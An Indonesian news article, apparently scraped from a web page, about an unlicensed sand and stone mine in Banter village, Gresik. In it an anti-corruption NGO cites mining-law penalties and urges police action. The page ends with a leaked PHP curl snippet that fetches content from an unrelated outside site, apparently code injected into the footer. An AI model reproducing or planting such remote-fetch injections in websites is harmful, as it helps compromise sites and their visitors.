Polres Gresik – Polda Jatim di Minta Ambil Tindakan Trgas Terkait Tambang Galian C Desa Banter Tanpa IUP OPK

Kamis, 12 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Polres Gresik – Polda Jatim di Minta Ambil Tindakan Trgas Terkait Tambang Galian C Desa Banter, Kecamatan Benjeng Kabupaten Gresik Provinsi Jawa Timur diduga Bodong ilegal

Gresik | jejakkasus.info – Maraknya tambang galian C di Wilayah Hukum Polres Gresik, Polda Jatim, Media siber dan Lembaga Swadaya Masyarakat (LSM) Generasi Muda Indonesia Cerdas Anti Korupsi (Gmicak) turun lapangan dan melakukan klarifikasi sekaligus melakukan pendataan.

Tambang galian C tidak terdapat papan bor ijin apapun, atau perizinan dari Kementerian Energi Sumber Daya Mineral (ESDM) / Badan Koordinasi Penanaman Modal (BPKM) atau instansi terkait.

Di lokasi salah satu pekerja yang enggan disebut namanya mengatakan tambang galian c ini yang mengelola mantan Kades, jelasnya.

Baca Juga:  Polres Situbondo Ungkap Peredaran Okerbaya, 2 Pengedar Ditangkap berikut Ratusan Pil Trex

Nampak beberapa alat berat jenis bego dan Dumptruk keluar masuk lokasi tidak memperhatikan analis mengenai dampak lingkungan (AMDAL) juga Dumptruk di jalan Amdallin pun di abaikan.

Terkait Tambang Galian C Desa Banter, Kecamatan Benjeng Kabupaten Gresik Provinsi Jawa Timur, Pengusaha saat di klarifikasi Izin Usaha Pertambangan Operasi Produksi Khusus (IUP OPK) izin untuk melakukan kegiatan operasi produksi di suatu wilayah pertambangan. IUP OPK melalui telpon seluler whatsapp 0812-1634-63xx Pengusaha tambang mengakui tidak ada izin. Kamis 12 September 2024.

Sementara itu Supriyanto (ilyas) Ketua Umum Lembaga Swadaya Masyarakat (LSM) Generasi Muda Indonesia Cerdas Anti Korupsi (Gmicak) Menegaskan : Untuk melaksanakan usaha pertambangan, badan usaha (perusahaan), koperasi dan perseorangan harus memiliki Izin Usaha Pertambangan (IUP) sebelum melakukan kegiatannya.

Baca Juga:  Kasrem Lepas Atlit Karate Asal Korem 045/Gaya*

Jika tambang galian tersebut ilegal maka dianggap melanggar UU pasal 158 disebutkan, Bahwa Pasal 158 Undang-Undang Nomor 4 Tahun 2009 tentang Pertambangan Mineral dan Batu Bara menyatakan, Setiap orang yang melakukan Usaha Penambangan Tanpa IUP, IPR atau IUPK sebagaimana dimaksud pada Pasal 40 ayat (3), Pasal 48, Pasal 67 ayat (1), Pasal 74 ayat (1) atau ayat (5) dipidana dengan pidana penjara paling lama 10 (Sepuluh) Tahun dan denda paling banyak Rp 10.000.000.000 (sepuluh miliar rupiah).

Baca Juga:  Plt.Bupati Sidoarjo Siap Terima Kritik Membangun

Berdasarkan Pasal 36 UU RI No. 3 Tahun 2020 Tentang perubahan atas UU RI No 4 Tahun 2009 Tentang Pertambangan Mineral dan Batubara, sebagamaina telah diubah dengan UU RI No 11 Tahun 2020 Tentang Cipta Kerja, IUP terdiri atas dua tahap. Pertama, IUP Eksplorasi meliputi kegitan penyelidikan umum, eksplorasi, dan studi kelayakan. Kedua, IUP Operasi Produksi meliputi kegiatan konstruksi, penambangan, pengolahan dan pemurniaan, serta pengangkutan dan penjualan,”

Atas hal di atas, LSM Gmicak Minta Polres Gresik, Polda Jatim ambil tindakan tegas. (Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi
Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari

Berita Terkait

Jumat, 11 Oktober 2024 - 17:20 WIB

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:34 WIB

Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>